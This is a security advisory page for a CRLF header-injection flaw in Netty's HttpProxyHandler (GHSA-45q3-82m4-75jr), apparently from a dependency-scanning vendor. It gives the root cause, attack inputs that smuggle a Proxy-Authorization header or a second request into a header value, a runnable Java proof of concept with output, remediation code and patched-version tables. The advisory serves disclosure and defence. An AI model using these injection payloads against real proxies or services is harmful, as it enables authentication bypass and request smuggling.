GHSA-45q3-82m4-75jr — netty-handler-proxy
GHSA-45q3-82m4-75jr is a CWE-113 vulnerability in io.netty:netty-handler-proxy. A fix is available for io.netty:netty-handler-proxy — see the affected versions and patch details below.
Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-45q3-82m4-75jr.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
io.netty:netty-handler-proxy☕io.netty:netty-handler-proxyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns:
- HTTP proxy clients that forward user-specified custom headers
- Web scraping frameworks that allow users to set proxy headers
- API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-handler-proxy | all versions | 4.1.133.Finalio.netty:netty-handler-proxy:4.1.133.Final |
| ☕Maven | io.netty:netty-handler-proxy | ≥ 4.2.0.Alpha1&&< 4.2.13.Final | 4.2.13.Finalio.netty:netty-handler-proxy:4.2.13.Final |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-handler-proxy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-handler-proxy to 4.1.133.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-45q3-82m4-75jr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-45q3-82m4-75jr can be triaged on real exposure rather than presence alone.
Tailored to GHSA-45q3-82m4-75jr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Important: This vulnerability in Netty's HttpProxyHandler allows for HTTP header injection into CONNECT requests when an attacker can influence outbound headers. The handler's explicit disabling of header validation could enable proxy-related attacks, such as cache poisoning or bypassing security controls, impacting…
| Product | Fixed in | Advisory |
|---|---|---|
| Cryostat 4 on RHEL 9 | cryostat/cryostat-reports-rhel9:4.2.0-10 | RHSA-2026:28010 |
| Red Hat AMQ Broker 7.13.6 | netty-handler-proxy | RHSA-2026:66545 |
| Red Hat AMQ Broker 7.14.1 | netty-handler-proxy | RHSA-2026:66488 |
| Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 | netty-handler-proxy | RHSA-2026:37390 |
| Red Hat build of Quarkus 3.27.4 | netty-handler-proxy | RHSA-2026:23808 |
| Red Hat build of Quarkus 3.33.2 | see advisory | RHSA-2026:24502 |
| Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 | eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el7eap | RHSA-2026:53644 |
| Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 8 | eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el8eap | RHSA-2026:53645 |
Frequently Asked Questions
Is GHSA-45q3-82m4-75jr in your dependencies?
O3 Security finds GHSA-45q3-82m4-75jr across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.